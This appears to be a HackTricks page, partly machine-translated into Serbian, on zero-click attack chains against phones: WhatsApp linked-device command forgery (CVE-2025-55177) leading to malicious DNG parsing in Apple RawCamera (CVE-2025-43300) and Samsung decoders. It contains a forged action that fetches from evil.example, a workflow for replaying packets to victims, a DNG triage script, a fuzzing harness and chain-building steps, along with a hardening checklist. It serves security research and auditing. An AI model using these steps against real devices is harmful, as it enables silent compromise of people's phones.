Zero-click Messaging → Image Parser Chains
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
TL;DR
- Treat messaging app multi-device/companion protocols as remote control channels: if protocol fields are assumed to come from trusted devices, they might still be user-controlled and can often be replayed directly against a victim to load arbitrary content with 0 user interaction.
- Jednom kada se bilo koja app može prisiliti da preuzme nepoverljivi media, ciljajte na shared OS media pipeline (RawCamera on iOS/macOS, vendor parsers on Android OEM builds) sa malformed fajlovima da biste se pivot-ovali iz sandboks-a.
- DNG-based RawCamera i Samsung parser bagovi diskutovani ovde su konkretni primeri, ali puna tehnika je ponovno upotrebljiv blueprint za povezivanje logičke greške → korupcija memorije parsera slika → potpuna kompromitacija uređaja.
Remote content loading via WhatsApp linked-device commands
Attack surface recap
WhatsApp “linked devices” arhitektura održava primarni telefon i svaki companion (desktop, tablet, sekundarni telefon) u sinhronizaciji putem enkriptovanih, strukturisanih protokol poruka. Svaka poruka enkodira:
- Metapodaci uređaja (device ID, capabilities, feature flags).
- Opisi akcija (npr. sync chats, fetch thumbnails, render remote content).
- Proizvoljni parametri kao što su URIs, MIME hints, pagination keys, itd.
Na Apple klijentima, handler koji obrađuje ove linked-device kontrolne pakete implicitno je verovao da je važeće sparivanje već izvršeno, pa su polja visokog uticaja (npr. resource_url, open_media, sync_snapshot) bila samo minimalno validirana. Zlonamerna companion poruka bi stoga mogla:
- Biti usmerena na bilo koji nalog identifikovan njegovim telefonskim brojem.
- Preživeti transportni stack (Noise protocol + WhatsApp protobuf framing) zato što primalac nikada nije verifikovao da je pošiljalac legitimno uparen uređaj.
- Stići do iOS klijenta, gde je ranjivi kod automatski pokrenuo pozadinski HTTP(S) zahtev ka attacker URL-u i parsirao odgovor u skrivenom WebView/media renderer-u.
Practical workflow for auditors
- Capture legitimate linked-device traffic. Prikačite debugger ili Frida skriptu na desktop/iOS klijent i zakačite handler koji se izvršava posle dekriptovanja (npr.
LinkedDevicesSyncHandler::processAction). Izdumpujte dekodirane protobuf payload-e da biste naučili dostupne tipove akcija i parametre. - Identify fields that cross trust boundaries. Bilo koja akcija koja nosi
http_url,thumbnail_uri,download_url, ilirender_htmlparametre bez striktne liste dozvoljenih vrednosti je kandidat za remote-content primitiv. - Forge a malicious action. Ponovno iskoristite uočen protobuf schema i modifikujte samo polja koja kontroliše napadač. Pojednostavljeni JSON prikaz relevantne logičke strukture je prikazan ispod (stvarni transport je protobuf/Noise, ali semantička polja se poklapaju):
{
"op": "sync_action",
"device_id": "<attacker-companion>",
"payload": {
"target": "content_sync",
"resource_url": "https://evil.example/payload.html",
"media_type": "image/dng",
"flags": ["background_fetch", "render_inline"]
}
}
- Deliver to the victim. Replay the crafted packet through the same WhatsApp service that normally forwards linked-device traffic (e.g., using a modified desktop client or a custom Noise client reusing your attacker account keys). Because CVE-2025-55177 failed to tie actions to authenticated devices, the victim iOS/macOS client would accept the message and immediately fetch the attacker URL without any UI.
- Instrument the fetch. Observe the forced HTTP(S) request and the internal renderer (WKWebView/ImageIO). At this point you own a zero-click web delivery primitive inside WhatsApp.
Weaponizing auto-decoded DNGs against RawCamera
Once the attacker controls what WhatsApp loads, the next goal is to make iOS/macOS parse a malicious Digital Negative (DNG) file with the RawCamera framework. Any embedded <img>/CSS URL that resolves to a .dng will be passed to the system image pipeline, invoking RawCamera even if WhatsApp itself never handled DNGs explicitly.
Triggering RawCamera from WhatsApp
- Serve HTML that references the DNG via multiple mechanisms (e.g.,
<img src="evil.dng">, CSSbackground-image: url('evil.dng'), or<picture>sources) to cover different render paths. - Ensure correct MIME (
image/x-adobe-dng) and small previews so the loader does not bail early because of size heuristics. - The iOS media sandbox will stream the file into RawCamera via
CGImageSourceCreateWithURL, eventually hitting the vulnerable decoder.
Crafting memory-corrupting DNGs (CVE-2025-43300 style)
The 2025 in-the-wild bug was more specific than a generic malformed TIFF: the DNG carried JPEG-Lossless image data whose internal SOF3 component count disagreed with the TIFF/DNG metadata (SamplesPerPixel). In practice, RawCamera could size some buffers from the outer TIFF fields and later trust the embedded JPEG-Lossless stream while decoding, yielding the out-of-bounds write fixed in iOS 18.6.2 / iPadOS 18.6.2 on August 20, 2025.
That gives auditors a much tighter triage rule than “mutate random tags”:
exiftool -s -SamplesPerPixel -BitsPerSample -Compression poc.dng
python3 - <<'PY'
from pathlib import Path
data = Path('poc.dng').read_bytes()
sof3 = data.index(b'\xff\xc3')
print('SOF3 components =', data[sof3 + 9])
PY
Ako se SamplesPerPixel i broj komponenti u SOF3 razlikuju, veoma ste blizu tačne primitive koja je javno opisana za CVE-2025-43300. Tipične dodatne poluge koje vredi fuzzing-ovati kada imate putanju parsiranja su:
- Tile/strip descriptors: Set
TileByteCounts/StripByteCountsto realistic values but increaseTileOffsetsto point beyond the allocated buffer. - Sub-IFD chains: Ugradite sekundarne slike sa kontradiktornim
ImageWidth/ImageLengthiBitsPerSampletako da RawCamera izračuna mali buffer dok kasnije faze veruju dimenzijama koje kontroliše napadač. - Opcode metadata: Manipulišite
OpcodeList3unose tako da obrada po redu radi nad indeksima koje odabere napadač.
Osnovni mutation harness za traženje takvih korupcija može se izgraditi oko macOS-a, pošto isti RawCamera kod dolazi na macOS/iOS/iPadOS:
#!/bin/bash
set -e
for sample in corpus/*.dng; do
radamsa "$sample" > /tmp/poc.dng
/System/Library/CoreServices/RawCamera.bundle/Contents/MacOS/RawCamera /tmp/poc.dng >/tmp/out 2>&1 || {
mv /tmp/poc.dng crashes/$(date +%s).dng
}
done
Svaki crash u RawCamera-u daje vam novu primitivu. Objavljeni PoC je postigao uredan out-of-bounds read/write dovoljno pouzdan da sruši WhatsApp na iPhone, iPad i Mac.
Building the 0-click chain
- Linked-device packet → prisiljava WhatsApp da bez ikakvih dodira preuzme
https://evil.example/payload.html. - Payload HTML → tiho referencira
evil.dng, osiguravajući da OS media stack pozove RawCamera. - Malicious DNG → zloupotrebljava crafted tagove da okine RawCamera OOB i sruši/kompromituje image decoder.
- Post-corruption exploitation → dodajte info-leak gadgets (npr. zloupotreba predvidljivih heap metadata) i postavite ROP/JOP lanac da pobegnete iz WhatsApp sandbox-a u privilegovanije kontekste.
Pošto je svaki korak automatski, napadaču je potreban samo broj telefona žrtve. Na ciljnom uređaju se ne prikazuju notifikacije, baneri ili promptovi.
Recent Apple parser-chain patterns worth reusing
Ovaj WhatsApp → DNG → RawCamera lanac prati isti dizajn obrazac viđen u nedavnim Apple zero-click kampanjama: pronađite alternativni attachment wrapper koji dopire do manje ograničenog parsera, a zatim naoružajte format fajla koji OS rado preview-uje.
- BLASTPASS (September 7, 2023 / iOS 16.6.1): Citizen Lab je izvestio o malicioznim PassKit attachment-ima koji sadrže slike, a Apple je zakrpio
Wallet(CVE-2023-41061) plusImageIO(CVE-2023-41064). Kasnija analiza Project Zero-a pokazala je zašto je to operativno važno: napadaču nije bio dovoljan samo parser bug, već i kontejner koji je pomerio parsiranje slika izvan normalnog BlastDoor puta u drugi proces. Prilikom audita messaging aplikacija, nabrojte svaki tip attachment-a koji pokreće background previews u helper daemon-ima (.pkpass, contact cards, sticker bundles, inline HTML, QuickLook previews), ne samo očigledne image attachment-e. - TRIANGULATION (patched in iOS 15.7.8 on July 24, 2023, with the mainline fix already in iOS 16.3): Kaspersky je pokazao da je maliciozni iMessage attachment pogodio nedokumentovanu Apple-only
ADJUSTTrueType instrukciju (CVE-2023-41990). Praktična lekcija je da su fonts image-parser cousins za zero-click rad: rich-text previews, font fallback i thumbnail generation mogu postati parser ulazne tačke čak i kada aplikacija tvrdi da podržava samo “documents” ili “stickers”.
Ponavljajuće pitanje za audit je stoga: koji tipovi poruka izazivaju tihu parsiranje u procesu koji nije očigledni chat renderer? Obično tu počinje lanac. Za uzorak trijaže i cross-field provere konzistentnosti kada imate sumnjiv fajl, ponovo iskoristite this generic structural file-format detection page.
Samsung vendor image parser parallels
Samsung-ov bulletin za CVE-2025-21043 je potvrdio da je njihov proprietarni image parsing stack (koji koriste Gallery, Messages, i indirektno WhatsApp) patio od out-of-bounds write dostupnog preko nepouzdanih medija. Metodologija eksploatacije odražava Apple lanac:
- Identifikujte auto-preview vektor (chat thumbnails, notification previews, share sheets) koji parsira fajl napadača koristeći Samsung-ove
libimagecodec/libOneUI_ImageDecoderbiblioteke. - Diff-ujte OEM library update-ove ili fuzujte parsere sa malformed RAW/DNG fajlovima dok ne vidite memory corruptions slične RawCamera crash-u (clobber heap metadata, control registra, itd.).
- Dostavite crafted fajl kroz bilo koji kanal koji već auto-load-uje sadržaj (npr. isti linked-device primitive, WhatsApp preview fetchers, ili Android-ove push-to-talk waveform previews).
Kada postoji OOB write u vendor parser-u, kombinovanje toga sa WhatsApp auto-fetch primitive daje još jedan zero-click lanac na Samsung uređajima.
Testing & hardening checklist
- Protocol validation: Primena strogih allow-lista za svaku linked-device akciju. Companion komande koje zahtevaju fetch/render moraju dokazati uparivanje uređaja (potpisivanjem payload-a) i URL treba da se poklapa sa allow-listom ili potpisanim blob-om.
- Transport replay countermeasures: Vežite svaku akciju za per-device ključ i odbacujte pakete čiji sender key nije poznat, čak i ako je protobuf sintaksa ispravna.
- Media pipeline restrictions: High-level aplikacije bi trebalo da dozvoljavaju samo odobrene MIME tipove i eksplicitno odbijaju RAW/DNG osim ako funkcionalnost nije potrebna.
- Parser fuzzing regression tests: Čuvajte korpus malformed RAW/DNG fajlova i pokrećite ih protiv RawCamera/vendor dekodera nakon svakog update-a.
- Crash triage automation: Pričvrstite
DYLD_INSERT_LIBRARIESsanitizere ili MTE na fuzz uređajima da uhvatite suptilne OOB uslove pre nego što to urade napadači.
References
- DNGerousLINK: A Deep Dive into WhatsApp 0-Click Exploits on iOS and Samsung Devices
- Project Zero: Blasting Past WebP
- Quarkslab: Reverse engineering of Apple’s iOS 0-click CVE-2025-43300
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


